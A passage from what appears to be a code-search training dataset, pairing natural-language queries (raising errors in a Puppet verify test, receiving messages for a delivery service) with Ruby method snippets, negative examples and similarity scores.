circle_radius = 1.5\n org_x = current_x_offset + (legend_square_width/2.0)\n @d.circle(org_x, current_y_offset, org_x - circle_radius, current_y_offset)\n\n @d.pointsize = @legend_font_size\n right_metrics = @d.get_type_metrics(@base_image, legend_label.to_s)\n current_string_offset = right_metrics.width + (legend_square_width * 2.7)\n\n # Handle wrapping\n right_label_widths.first.shift\n if right_label_widths.first.empty?\n debug { @d.line 0.0, current_y_offset, @raw_columns, current_y_offset }\n\n right_label_widths.shift\n current_x_offset = LEFT_MARGIN #unless right_label_widths.empty?\n line_height = [@legend_caps_height, legend_square_width].max + LEGEND_MARGIN\n if right_label_widths.length > 0\n # Wrap to next line and shrink available graph dimensions\n current_y_offset += line_height\n @graph_top += line_height\n @graph_height = @graph_bottom - @graph_top\n end\n else\n current_x_offset += current_string_offset\n end\n end\n @color_index = 0\n end",
"def draw? \n end",
"def options?\n false\n end",
"def options?\n false\n end",
"def use_hidden_geometry?\n end",
"def proxy?\n @options.has_key?('proxy_port')\n end",
"def valid?\n return false if @range_start_index.nil?\n return false if @range_end_index.nil?\n true\n end",
"def gateway_options\n process_keys\n options = base_options\n\n config.proxy_port.nil? or options.merge!(:port => config.proxy_port)\n config.proxy_password.nil? or options.merge!(:password => config.proxy_password)\n config.proxy_keys.nil? or options.merge!(:keys => config.proxy_keys)\n\n config.ui.logger.debug { \"gateway_options(#{options.inspect})\" }\n options\n end",
"def use_axes?\n end",
"def validate_options\n true\n end",
"def zero_grad\n each_value(&:zero_grad)\n end",
"def option_transparent\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option transparent \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def defaults(context)\n CGContextSaveGState(context)\n stroke.setStroke\n fill.setFill\n if fill_phase\n CGContextSetPatternPhase(context, fill_phase)\n end\n CGContextSetLineWidth(context, self.line_width)\n if line_dash\n CGContextSetLineDash(context, 0, line_dash.to_pointer(:float), line_dash.length)\n end\n yield\n CGContextRestoreGState(context)\n end",
"def fill_paint(paint)\n end",
"def do_clustering\n marker_options.try(:[], :do_clustering)\n end",
"def trace_disabled?(options)\n !(traced? || options[:force])\n end",
"def calculated_args_changed_for_defaults!\n has_default_dimensions = default_width? || default_height?\n parent_calculated_args_changed_for_defaults = has_default_dimensions\n calculated_args_changed!(children: false) if default_x? || default_y? || has_default_dimensions\n if has_default_dimensions && parent.is_a?(Shape)\n parent.calculated_args_changed_for_defaults!\n elsif @content_added && !drawable.is_disposed\n # TODO consider optimizing in the future if needed by ensuring one redraw for all parents in the hierarchy at the end instead of doing one per parent that needs it\n if !@painting && !drawable.is_a?(ImageProxy)\n drawable.redraw\n return true\n end\n end\n false\n end",
"def draw_page_index\n self.contents.gradient_fill_rect(0,0,contents.width, line_height, sc1, sc2, true)\n contents.clear_rect(0,0,1,1)\n contents.clear_rect(contents.width-1, 0,1,1)\n contents.clear_rect(0,line_height-1,1,1)\n contents.clear_rect(contents.width-1,line_height-1,1,1)\n draw_page_state\n end",
"def cleargrad\n @grad_var = nil\n end",
"def trainAsStandardRegressor\r\n\t\treturn if @trained && @gradientModel == false\r\n\t\t#Train standard regressor\r\n\t\t#FIRE!\r\n\t\t@lr.train_normal_equation\r\n\t\t#Train flags update\r\n\t\t@train\t\t\t\t= true\r\n\t\t@gradientModel\t\t= false\r\n\tend",
"def use_rendering_options?\n end",
"def update!(**args)\n @curvature_status = args[:curvature_status] if args.key?(:curvature_status)\n @radians_per_meter = args[:radians_per_meter] if args.key?(:radians_per_meter)\n @start_point_fraction = args[:start_point_fraction] if args.key?(:start_point_fraction)\n end",
"def update(batch_size, ignore_stale_grad: false)\n init_kvstore unless @kv_initialized\n\n # TODO:\n # if self._params_to_init:\n # self._init_params()\n\n if @kvstore && @update_on_kvstore\n raise 'update() when parameters are updated on kvstore ' +\n 'is not supported. Try setting `update_on_kvstore` ' +\n 'to False when creating trainer.'\n end\n\n @optimizer.rescale_grad = @scale / batch_size\n _update(ignore_stale_grad)\n end",
"def process_legend_input(input)\n process_boolean_input(input, :legend_extend)\n end",
"def valid_opts\n true\n end",
"def needs_redraw?\n return (@main_window_widget.needs_redraw? or not @main_window_widget.throttle_render?)\n end",
"def grad2grad(grad)\r\n remt(grad, 400)\r\n end",
"def setBounds\n true\n end",
"def is_document_style?\n true\n end",
"def repaint_required(tf=true)\n @repaint_required = tf\n end"
] |
[
"0.64159656",
"0.63429224",
"0.6118336",
"0.52152914",
"0.51710963",
"0.4926967",
"0.48913452",
"0.48437726",
"0.48129353",
"0.47849578",
"0.47542644",
"0.4742726",
"0.46972227",
"0.4689728",
"0.46206215",
"0.45957172",
"0.45917466",
"0.4573221",
"0.4480118",
"0.44585806",
"0.444831",
"0.44474855",
"0.44448632",
"0.4430786",
"0.43404317",
"0.4331635",
"0.42787957",
"0.42765975",
"0.42665434",
"0.42427915",
"0.42334577",
"0.41260013",
"0.41210818",
"0.4119086",
"0.41131994",
"0.41131055",
"0.41092616",
"0.41087875",
"0.40884975",
"0.40723073",
"0.4062399",
"0.40612432",
"0.40353054",
"0.40311617",
"0.40148687",
"0.40106502",
"0.39831522",
"0.39654556",
"0.39578786",
"0.39387435",
"0.39368865",
"0.39110434",
"0.3909199",
"0.39008325",
"0.3893055",
"0.38912994",
"0.38859978",
"0.3867814",
"0.38629332",
"0.38564095",
"0.38560227",
"0.38517606",
"0.3850482",
"0.38468316",
"0.38280565",
"0.3826766",
"0.38185292",
"0.3815379",
"0.3815379",
"0.38142532",
"0.38025236",
"0.37946594",
"0.3786143",
"0.3783405",
"0.3783405",
"0.3780635",
"0.376896",
"0.37687337",
"0.37605637",
"0.3748737",
"0.374717",
"0.37469208",
"0.37441856",
"0.37435132",
"0.37376577",
"0.3715771",
"0.37155676",
"0.3713161",
"0.37093082",
"0.370695",
"0.3697225",
"0.36966297",
"0.3679517",
"0.3674783",
"0.36738673",
"0.36686218",
"0.36555594",
"0.36524424",
"0.36434233",
"0.3639431",
"0.3639257"
] |
0.0
|
-1
|
Make sure we raise things appropriately
|
def test_verify
# Start out unavailabl
assert_raise(Puppet::Network::InvalidClientRequest) do
@obj.verify(@request)
end
class << @obj
def available?(req)
true
end
end
assert_raise(Puppet::Network::InvalidClientRequest) do
@obj.verify(@request)
end
class << @obj
def authorized?(req)
true
end
end
assert_nothing_raised do
@obj.verify(@request)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def exceptions; end",
"def catch_exceptions; end",
"def raise(exception); end",
"def continued_exception; end",
"def raise_exc\n raise\n rescue\n end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def cause; end",
"def cause; end",
"def underlying_exception; end",
"def is_exception?; end",
"def rescue_action(e); raise e; end",
"def exceptions\n end",
"def raise(*rest) end",
"def raise(*rest) end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def expects_exception?; self.class.expects_exception; end",
"def original_exception; end",
"def fail\n\t\t# throw up this code and feed plezi your own lines :)\n\t\traise \"Plezi raising hell!\"\n\tend",
"def wrapped_exception; end",
"def underlying_exception=(_arg0); end",
"def exception\n raise \"It's a bad one!\"\n end",
"def raise_deprecations; end",
"def keep_it_in\n raise \"rawr\"\nrescue\n # ahem\nend",
"def wrapped_causes; end",
"def continued_exception=(_arg0); end",
"def rescue_from(exception); end",
"def errback &block\n super\n end",
"def errback &block\n super\n end",
"def cause\n raise NotImplementedError\n end",
"def abort_on_exception(*) end",
"def raise_exceptions?\n false\n end",
"def abort_on_exception=(*) end",
"def exception_handler; end",
"def raise_deprecations=(_arg0); end",
"def awaken!\n\t\traise 'Not implemented'\n\tend",
"def original_exception=(_arg0); end",
"def exception_on_syntax_error=(_arg0); end",
"def miss_reason; end",
"def exit_exception; end",
"def error\n\t\t\traise 'Test'\n\t\tend",
"def boom\n raise \"boom\"\n end",
"def abort_on_exception=(_arg0); end",
"def phantom_load_raise?(e); end",
"def recover_from(_error); end",
"def failure\n super\n end",
"def propagate\n @propagate_exceptions = true\n end",
"def check_emission_validity # :nodoc:\n \t super\n \trescue EventNotExecutable => e\n\t refine_emit_exception(e)\n \tend",
"def check_emission_validity # :nodoc:\n \t super\n \trescue EventNotExecutable => e\n\t refine_emit_exception(e)\n \tend",
"def error?; end",
"def error?; end",
"def error?; end",
"def errorhandling\n end",
"def raise(*args)\n Kernel.raise(*args)\n end",
"def run_and_raise_on_failure\n # TODO ?\n end",
"def is_valid?\n raise Exception\n end",
"def original_error; end",
"def original_error; end",
"def expects_exception!\n @expects_exception = true\n end",
"def ignore_raise\n yield\nrescue StandardError\n :raised\nend",
"def failure\n super\n end",
"def handle_error(e)\n raise e\n end",
"def invalid; end",
"def assert_raise(error_to_raise = Exception)\n begin\n # Dangerous Code\n yield\n rescue => the_error_object\n if the_error_object.class == error_to_raise\n print \".\"\n else\n print \"F\"\n end\n else\n print \"E\"\n end\n\nend",
"def error!\n throw NotImplementedError\n end",
"def raise_on_error?\n @raise\n end",
"def foo\n return raise\n#> xxxxxx\n end",
"def handle_perform_error(_e); end",
"def miss_reason=(_arg0); end",
"def check_and_raise( err_ptr )\n return if err_ptr.null?\n raise specific_error_class( err_ptr ).new( err_ptr.message )\n end",
"def in_exception_context?; end",
"def refute_nothing_raised(msg=nil, &block)\n RescueAssay.assert!(Exception, :message=>msg, :backtrace=>caller, &block)\n end",
"def regardless(&block)\n yield\nrescue\nend",
"def _catch_warden(&block); end",
"def exception(*rest) end",
"def onerror(&blk); super; end",
"def fail(*args)\n super(*args)\n end",
"def fail\n # no-op\n end",
"def recover_from(_error)\n end",
"def any_exception_captured=(_arg0); end",
"def failsafe_action\n super\n end",
"def show_detailed_exceptions?; end",
"def raise(*args)\n ::Object.send(:raise, *args)\n end",
"def fatal?; end",
"def fatal?; end",
"def notify_or_raise(ex)\n if should_raise?\n fail ex\n else\n notify_or_ignore_with_options(ex)\n end\n end",
"def test_that_it_catches_redefines\r\n x = @s.add_entry('fubar', :word)\r\n assert_raises(XfOOrth::XfOOrthError) { @s.add_entry('fubar', :method) }\r\n end",
"def raise_expected_version_error!\n self.raise_expected_version_error = true\n nil\n end",
"def protect_runtime_errors # &block\n\t\tbegin\n\t\t\tyield\n\t\trescue StandardError => e\n\t\t\t# switch states first, in case extra messages need to be printed to contexualize the actual exception\n\t\t\tself.runtime_error()\n\t\t\t\n\t\t\t\n\t\t\t# keep execption from halting program,\n\t\t\t# but still output the exception's information.\n\t\t\tprint_wrapped_error(e)\n\t\t\t\n\t\t\t\n\t\tend\n\tend",
"def error; end",
"def error; end",
"def error; end",
"def error; end",
"def error; end",
"def error; end"
] |
[
"0.7401367",
"0.735623",
"0.7354002",
"0.717598",
"0.7169763",
"0.7125802",
"0.7125802",
"0.7125802",
"0.7125802",
"0.7125802",
"0.7123662",
"0.7123662",
"0.6985572",
"0.6979025",
"0.6954653",
"0.6943629",
"0.6926848",
"0.6926848",
"0.6857644",
"0.6857644",
"0.6857644",
"0.6857644",
"0.68358296",
"0.68279755",
"0.6806388",
"0.6805746",
"0.6727816",
"0.67137843",
"0.6696658",
"0.66908497",
"0.668725",
"0.6664051",
"0.66620475",
"0.66554457",
"0.66554457",
"0.66237116",
"0.6557299",
"0.6544377",
"0.6536314",
"0.65276176",
"0.6469956",
"0.6468571",
"0.63737684",
"0.6358877",
"0.6355236",
"0.6345291",
"0.6335051",
"0.6321567",
"0.6310269",
"0.63019216",
"0.62927294",
"0.62834305",
"0.6283111",
"0.6282799",
"0.6282799",
"0.6278922",
"0.6278922",
"0.6278922",
"0.6254633",
"0.62197876",
"0.62147164",
"0.61990064",
"0.61934394",
"0.61934394",
"0.61899096",
"0.61877644",
"0.618076",
"0.6165262",
"0.61553216",
"0.61503357",
"0.6145065",
"0.6141946",
"0.6141836",
"0.6138284",
"0.61333436",
"0.6132741",
"0.61307603",
"0.6095523",
"0.60626596",
"0.60623467",
"0.6060588",
"0.6045212",
"0.6036884",
"0.6028609",
"0.6006695",
"0.60014313",
"0.5993574",
"0.598765",
"0.5986375",
"0.59815216",
"0.59815216",
"0.597044",
"0.59651494",
"0.59637445",
"0.5955874",
"0.5939157",
"0.5939157",
"0.5939157",
"0.5939157",
"0.5939157",
"0.5939157"
] |
0.0
|
-1
|
Receive new message to the delivery service defined by params
|
def receive(params = {})
# Subject
subject = params[:subject]
# Message
message = params[:message]
# Sender
sender = params[:sender]
# Receiver
receiver = params[:receiver]
return false if receiver.nil?
# Create and setup InMessage
in_message = RicMailboxer.in_message_model.create(
subject: subject,
message: message,
sender: sender,
owner: receiver,
folder: :inbox,
delivery_state: :received,
)
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def receive_message(params={}, *attrs)\n self.class.receive_message(queue_url, params, *attrs).map do |val|\n Message.new self, val\n end\n end",
"def receive(delivery_info, properties, body)\n @handler.call(JSON.parse(body))\n @channel.ack(delivery_info.delivery_tag)\n rescue => e\n @channel.reject(delivery_info.delivery_tag, false)\n end",
"def deliver(params)\n return false unless is_configured? && valid_params?(params)\n\n # If :recipient is incoming, we'll use that, otherwise, we'll use\n # what was set in the configure block\n params = { recipient: recipient }.merge!(params)\n\n if response = client.post(:message => params)\n response.code == 200\n end\n end",
"def consume(delivery_info, properties, payload)\n #data = @transport.get_message(rmsg)\n #payload is a string\n env = @serializer.deserialize payload\n puts 'oeuaoeusatoehuntsaoheuntsahoeusnth'\n puts env\n deliver(env)\n end",
"def deliver(params={})\n puts \"**** Message#deliver\" if params[:verbose]\n#puts \"**** Message#deliver response_time_limit=#{self.response_time_limit}\"\n save! if self.new_record?\n deliver_email() if send_email\n deliver_sms(:sms_gateway=>params[:sms_gateway] || default_sms_gateway) if send_sms\n end",
"def deliver\n Outbound.deliver(delivery_options.merge(:conditions => ['sms_service_provider_id = ?', self.provider_id]))\n end",
"def deliver\r\n mandrill = Mandrill::API.new(api_key)\r\n mandrill.messages.send(message, async, ip_pool, send_at)\r\n end",
"def receive\n Log.debug(\"Waiting for a message from Stomp\")\n msg = @connection.receive\n\n # STOMP puts the payload in the body variable, pass that\n # into the payload of MCollective::Request and discard all the\n # other headers etc that stomp provides\n if @base64\n Request.new(SSL.base64_decode(msg.body))\n else\n Request.new(msg.body)\n end\n end",
"def on_incoming_message(msg)\n type = msg.operation\n debug \"(#{id}) Deliver message '#{type}': #{msg.inspect}\"\n htypes = [type, :message]\n if type == :inform\n # TODO keep converting itype is painful, need to solve this.\n if (it = msg.itype(:ruby)) # format itype as lower case string\n case it\n when \"creation_ok\"\n htypes << :create_succeeded\n when 'status'\n htypes << :inform_status\n end\n\n htypes << it.to_sym\n end\n end\n\n debug \"(#{id}) Message type '#{htypes.inspect}' (#{msg.class}:#{msg.cid})\"\n hs = htypes.map { |ht| (@handlers[ht] || {}).values }.compact.flatten\n debug \"(#{id}) Distributing message to '#{hs.inspect}'\"\n hs.each do |block|\n block.call msg\n end\n if cbk = @context2cbk[msg.cid.to_s]\n debug \"(#{id}) Distributing message to '#{cbk.inspect}'\"\n cbk[:last_used] = Time.now\n cbk[:block].call(msg)\n end\n end",
"def receive_msg msg\n # stub, overwrite this in your handler\n end",
"def receive_message(message)\n end",
"def receive\n # Process msg_descriptor\n Subscriber.execute_from_descriptor(msg_descriptor)\n head :no_content\n rescue InvalidSubscriberError\n # 404: Message delivery will be retried\n head :not_found\n rescue StandardError\n # 422: Message delivery will be retried\n head :unprocessable_entity\n end",
"def receive\n begin\n message = save_message\n rescue => err\n render :text => err.message, :status => 400\n return\n end\n \n begin\n message.process! params\n rescue => err\n message.reply = err.message\n ensure\n if (message.reply != \"Invalid command\")\n collection_id = get_collection_id(params[:body])\n if collection_id and collection_id >0\n message[:collection_id] = collection_id\n end\n end\n message.save\n render :text => message.reply, :content_type => \"text/plain\"\n end\n end",
"def received message, headers={}\n end",
"def on_message(delivery, message)\n # Print received message\n if @log_msgs == \"body\"\n Formatters::BasicFormatter.new(message).print\n elsif @log_msgs == \"dict\"\n Formatters::DictFormatter.new(message).print\n end\n # If process reply to\n if @process_reply_to and !message.reply_to.nil?\n self.do_process_reply_to(message)\n end\n # Increase number of received messages\n @received = @received + 1\n # If all messages are received\n if @received == @count\n # Close receiver\n delivery.receiver.close\n # Close connection\n delivery.receiver.connection.close\n end # if\n end",
"def deliver(message) \n @channel.send(:add_message, message)\n end",
"def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end",
"def deliver\n return if sent?\n\n begin\n provider = \"#{service.capitalize}Service\".constantize\n provider.new.send(receiver, message)\n\n update_attributes(sent: true)\n rescue NameError\n false\n end\n end",
"def deliver(sms)\n new.deliver!(sms)\n end",
"def deliver(sms)\n create_sms(sms).submit()\n end",
"def recieved (order)\n @order=order\n\n mail to: order.email, subject: \"You are receiveing the first Mail from Depot App\"\n end",
"def deliver_now\n message.deliver\n end",
"def deliver(message)\n raise NotImplementedError\n end",
"def deliver\n #inform_interceptors\n if delivery_handler\n delivery_handler.deliver_sms(self) { do_delivery }\n else\n do_delivery\n end\n inform_observers\n self\n end",
"def receive(message)\n info(\"[Smartfocus] Receive -> #{message}\")\n end",
"def deliver!(message)\n delivery_system = get_value_from(message[\"delivery_system\"])\n\n if delivery_system.nil?\n fail Error::WrongDeliverySystem, \"Delivery system is missing.\"\n end\n\n case delivery_system\n when \"ses\"\n DeliverySystem::AwsSes.new(settings).deliver(message)\n when \"sparkpost\"\n DeliverySystem::SparkPost.new(settings).deliver(message)\n else\n fail Error::WrongDeliverySystem,\n \"The given delivery system is not supported.\"\n end\n end",
"def consume(workitem)\n\n RuoteStomp.start!\n target_queue = determine_queue(workitem)\n\n raise 'no queue specified (outbound delivery)' unless target_queue\n\n forget = determine_forget(workitem)\n\n opts = {\n :persistent => RuoteStomp.use_persistent_messages?,\n :content_type => 'application/json' }\n\n if message = workitem.fields['message'] || workitem.params['message']\n\n forget = true # sending a message implies 'forget' => true\n $stomp.send target_queue, message, opts \n else\n $stomp.send target_queue, encode_workitem(workitem), opts\n end\n\n reply_to_engine(workitem) if forget\n end",
"def deliver\n response = Curl::Easy.http_post(\n BASE_URL + 'messages',\n Curl::PostField.content('to', @to),\n Curl::PostField.content('from', @from),\n Curl::PostField.content('subject', @subject),\n Curl::PostField.content('text', @text)\n )\n @response = JSON.parse(response.body)\n end",
"def redelivered; @message_impl.getRedelivered; end",
"def on_receive_message(\n subscriber_klass,\n delivery_info,\n metadata,\n payload\n )\n logger.debug '**************************'\n logger.debug subscriber_klass.inspect\n logger.debug delivery_info.inspect\n logger.debug metadata.inspect\n logger.debug payload.inspect\n\n if delivery_info.routing_key\n routing_key = [app_name, delivery_info.routing_key].join(delimiter)\n executable = subscriber_klass.executable_for(routing_key)\n end\n\n unless executable\n routing_key = [app_name, exchange_name].join(delimiter)\n executable = subscriber_klass.executable_for(routing_key)\n end\n\n logger.debug \"routing_key: #{routing_key}\"\n return unless executable\n\n subscriber = subscriber_klass.new\n subscriber.channel = @subject.channel\n\n subscription_handler =\n EventSource::Protocols::Amqp::BunnyConsumerHandler.new(\n subscriber,\n delivery_info,\n metadata,\n payload,\n &executable\n )\n\n subscription_handler.run\n rescue Bunny::Exception => e\n logger.error \"Bunny Consumer Error \\n message: #{e.message} \\n backtrace: #{e.backtrace.join(\"\\n\")}\"\n ensure\n subscriber = nil\n end",
"def deliver(*params)\n type = ((resource_type == \"TaskNotification\") ? \n (resource.resource.nil? ?\n resource_type.underscore : \n resource.resource_type.underscore) : \n resource_type.underscore)\n begin\n Mailer.send \"deliver_#{type}\", target_user, params[0]\n rescue\n Mailer.send \"deliver_#{type}\", target_user\n end\n \n update_attribute(:delivered_at, Time.now)\n end",
"def receive(message)\n info(\"[Emailvision] Receive -> #{message}\")\n end",
"def deliver(to, message)\n if to.is_a?(Array)\n to.each { |t| @client.send(Message.new(t, message)) }\n else\n @client.send(Message.new(to, message))\n end\n end",
"def receive_and_publish(destination, options = {})\n selector = \"synchronous = 'true'\"\n selector = \"#{selector} and (#{options[:selector]})\" if options[:selector]\n receive_options = options.merge(:decode => false,\n :selector => selector)\n \n request = receive(destination, receive_options)\n unless request.nil?\n request_message = Message.new( request ).decode\n options[:ttl] ||= 60_000 # 1m\n options[:encoding] ||= Message.extract_encoding_from_message( request )\n\n response = block_given? ? yield(request_message) : request_message\n \n options[:correlation_id] = request.jms_message_id\n publish(destination, response, options)\n end\n end",
"def deliver(message, options = {})\n raise ArgumentError, \"too many recipients, max. is #{MAX_RECIPIENT} (current: #{message.to.length})\" if message.to.length > MAX_RECIPIENT\n\n # Prepare request\n options = prepare_options options\n http = http_client options\n request = http_request post_params(message, options)\n\n # Log as `curl` request\n self.class.logger.debug \"curl -X#{request.method} '#{endpoint}' -d '#{request.body}'\"\n\n # Perform request\n resp = http.request(request)\n\n # Handle errors\n raise ServiceError, \"endpoint did respond with #{resp.code}\" unless resp.code.to_i == 200\n raise ServiceError, \"unable to deliver message to all recipients (CAUSE: #{resp.body.strip})\" unless resp.body.split(\"\\n\").all? { |l| l =~ /Result_code: 00/ }\n\n # extract Nth-SmsIds\n resp['X-Nth-SmsId'].split(',')\n end",
"def deliver_message_via_carrier(text, to, from)\n SMS_CARRIER.deliver_message(text, to, from)\nend",
"def send_message(payload) \n to_user_id = payload['to_user_id']\n body = payload['body']\n message = Message.create!(\n from_user_id: current_user.id,\n to_user_id: to_user_id,\n body: body\n )\n\n MessageBroadcastJob.perform_later(message)\n end",
"def deliver_now!\n message.deliver!\n end",
"def deliver(should_clean = true)\n clean if should_clean\n self.push_data = self.push_data.gsub('[MESSAGE_ID]', self.id.to_s)\n temp_receipts = recipients.map { |r| build_receipt(r, 'inbox', false) }\n if temp_receipts.all?(&:valid?)\n temp_receipts.each(&:save!) #Save receipts\n Alerter::MessageDispatcher.new(self, recipients).call\n #self.recipients = nil\n end\n\n return temp_receipts if temp_receipts.size > 1\n temp_receipts.first\n end",
"def received(order)\n @greeting = \"Hi\"\n @order = order\n\n mail to: \"colin.lin@newbiiz.com\", subject: \"Success! Pragmatic Store Order Confirmation.\"\n # mail to: \"mclxly@gmail.com\", subject: \"Success! Pragmatic Store Order Confirmation.\"\n # mail to: \"legoo8@qq.com\", subject: \"Success! Pragmatic Store Order Confirmation.\"\n end",
"def deliver\n xml = Clockwork::XML::SMS.build_multiple( self.messages )\n http_response = Clockwork::HTTP.post( Clockwork::API::SMS_URL, xml, @use_ssl )\n responses = Clockwork::XML::SMS.parse_multiple( self.messages, http_response )\n end",
"def deliver_now\n processed_smser.handle_exceptions do\n message.deliver\n end\n end",
"def handle(msg)\n message = Remote::Message.decode(msg)\n assert_type(message)\n call_route(message)\n end",
"def deliver_message(json_message, topic:)\n producer.produce json_message.to_json, topic: topic, partition_key: Teamwork::Utils.mac\n Teamwork.logger.info \"deliver kafka message success #{json_message} , topic #{topic}\"\n end",
"def test_receiving\n incoming = ActionMessenger::Message.new\n incoming.to = 'trejkaz@trypticon.org/tests'\n incoming.body = 'Ping'\n \n @messenger.fake_received(incoming)\n \n assert_equal [ incoming ], SimpleMessenger.received\n end",
"def receive_message_and_peer(message, peer_identity) # :nodoc:\n receive_message(message)\n end",
"def service\n softlayer_client[:Network_Message_Delivery].object_with_id(self.id)\n end",
"def send_message (*params)\n send_line Message.new(*params)\n end",
"def received(morder)\n @morder = morder\n mail to: morder.email, subject: \"Pragmatic Store Order Confirmation\"\n end",
"def deliver(message)\n @queue.push(message)\n end",
"def receive_notification(method, params)\n puts \"notification received (method: #{method.inspect}, params: #{params.inspect})\"\n end",
"def consume (workitem)\n\n #first, we specify the reply queue for the 'real' participant. \n\n workitem.reply_queue = workitem.params['reply_queue'] ||= @queue_name+\"_FIN\"\n workitem.pid = workitem.params['pid']\n\n msg = encode_workitem(workitem)\n\n message = @queue.send_message(msg)\n\n ldebug { \"consume() msg sent to queue #{@queue.url} id is #{message.id}\" }\n\n if workitem.params['reply_by_default'] || workitem.params['reply-anyway'] == true\n reply_to_engine( workitem )\n end\n \n \n end",
"def receive_message(queue_name_or_url, params={}, *attrs)\n doc = Adapter.receive_message(\n queue_url(queue_name_or_url),\n params,\n *attrs\n )['ReceiveMessageResponse']['ReceiveMessageResult']\n doc ? doc['Message'] : []\n end",
"def receive(data)\n puts \"messages:#{params[:room]} received #{data} from #{current_user}\"\n # we can relay the received message without the model if we want.\n # ActionCable.server.broadcast(\"messages\", data)\n end",
"def handle_message(consumer, delivery_info, properties, payload)\n serializer = consumer.get_serializer || Hutch::Config[:serializer]\n logger.debug {\n spec = serializer.binary? ? \"#{payload.bytesize} bytes\" : \"#{payload}\"\n \"message(#{properties.message_id || '-'}): \" +\n \"routing key: #{delivery_info.routing_key}, \" +\n \"consumer: #{consumer}, \" +\n \"payload: #{spec}\"\n }\n\n message = Message.new(delivery_info, properties, payload, serializer)\n consumer_instance = consumer.new.tap { |c| c.broker, c.delivery_info = @broker, delivery_info }\n with_tracing(consumer_instance).handle(message)\n @broker.ack(delivery_info.delivery_tag) unless consumer_instance.message_rejected?\n rescue => ex\n acknowledge_error(delivery_info, properties, @broker, ex)\n handle_error(properties, payload, consumer, ex)\n end",
"def process_msgs\n end",
"def receive_message\n sqs = Aws::SQS::Client.new(region: ENV['AWS_REGION'])\n resp = sqs.receive_message(queue_url: ENV['SQS_ENDPOINT'])\n\n if resp.messages.count > 0\n process_message(resp.messages[0])\n end\n end",
"def deliver\n newsletter_id = params[:id].to_i\n email_addr = params[:email].blank? ? params[:custom_email] : params[:email]\n\n # send_log_to = Rails.env == 'production' ? (Rails.application.class)::EMAIL_TO_DEFAULT : (Rails.application.class)::EMAIL_TO_DEVELOPER\n\n command = \"RAILS_ENV=#{Rails.env} #{Rails.root}/script/bash_runner.sh newsletter_emailer NEWSLETTER=#{newsletter_id}\"\n command += \" EMAIL_ADDR_OVERRIDE=#{email_addr}\" if email_addr\n command += \" &\"\n\n Rails.logger.warn(\"Sending newsletter with command #{command}\")\n pid = spawn(command)\n\n flash[:message] = \"started job_runner to do delivery of newsletter # #{newsletter_id} w/ pid #{pid}\"\n redirect_to :action => :show, :id => newsletter_id\n end",
"def receive(payload)\n ChatMessage.create(user: current_user, chat_room_id: payload[\"chat_room_id\"], body: payload[\"chat_message\"])\n end",
"def receive_object message\n transition_on_recv message_name(message), message\n end",
"def receive\n items = @purchase.receive!\n redirect_to purchase_path(@purchase), :notice => [t(:received) ,items ,t(:items)].join(\" \")\n end",
"def on_receive(message)\n end",
"def deliver(message, *mobiles, **opts)\n attrs = {\n msg: message,\n numbers: numbers(mobiles),\n url_callback: callback\n }.merge(opts)\n rest.get(:sendsms, attrs)['data']\n end",
"def received\n AcademyApplicationMailer.received\n end",
"def messenger_received_message(message_string)\n #puts \"receive|#{message_string}\"\n begin\n message = Messages.from_json(message_string)\n rescue ProtocolError\n @scheduler.receive(:invalid_message)\n return\n end\n case message\n when Messages::CallRequest then @scheduler.receive(:call_request_message, message)\n when Messages::CallResponse then @scheduler.receive(:call_response_message, message)\n when Messages::Compatibility then @scheduler.receive(:compatibility_message, message)\n when Messages::Forget then @scheduler.receive(:forget_message, message)\n when Messages::Initialization then @scheduler.receive(:initialization_message, message)\n when Messages::Shutdown then @scheduler.receive(:shutdown_message)\n end \n end",
"def receive\n @subscriber.recv_strings( parts = [] )\n #log.debug \"a queue item [%s]\\n\", parts.join(' ')\n parts\n end",
"def received\n end",
"def deliver_now!\n processed_smser.handle_exceptions do\n message.deliver!\n end\n end",
"def deliver(message)\n body = message.body\n return true unless body\n\n logger.info({context: context, uid: message.uid, action: \"sending to deliverer\", deliverer: delivery.class.name, byte_size: body.bytesize})\n delivery.deliver(body)\n end",
"def deliver(message)\n Net::HTTP.start(EVENT_BUS_SERVER_URL.host, EVENT_BUS_SERVER_URL.port) do |http|\n request = Net::HTTP::Post.new EVENT_BUS_SERVER_URL\n request.body = message\n request.content_type = \"application/json\"\n request[\"Authorization\"] = authorization\n response = http.request request # Net::HTTPResponse object\n puts response.inspect\n\n # TODO: If the response is not 200 then there needs to be retry logic\n end\nend",
"def received(order)\n @order = order\n\n mail to: order.email, subject: '7 facts you will never believe! 3 will shock you'\n end",
"def deliver(message, _options = {})\n raise ArgumentError, \"too many recipients, max. is #{MAX_RECIPIENT}\" if message.to.length > MAX_RECIPIENT\n\n # perform request\n @obh_client.send_sms(post_params(message))\n message.to\n end",
"def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def process\n logger.info \"Beetle: received message #{message.inspect}\"\n end",
"def redeliver(message_id, payload, method, url, headers)\n begin\n base = headers.empty? ? HTTP : HTTP.with_headers(headers)\n uri = URI.parse(url)\n if(uri.userinfo)\n base = base.basic_auth(:user => uri.user, :pass => uri.password)\n end\n if(payload.is_a?(String))\n begin\n payload = MultiJson.load(payload)\n rescue MultiJson::ParseError\n # ignore\n end\n end\n result = base.send(method, url,\n payload.is_a?(Hash) ? :json : :body => payload\n )\n if(result.code < 200 || result.code > 299)\n error \"Invalid response code received for #{message_id}: #{result.code} - #{result.reason}\"\n false\n else\n info \"Successful delivery of message on retry! Message ID: #{message_id}\"\n true\n end\n rescue => e\n error \"Transmission redelivery failure (Message ID: #{message_id}) - #{e.class}: #{e}\"\n debug \"#{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n false\n end\n end",
"def log_delivery! (args)\n add_recipient(args)\n end",
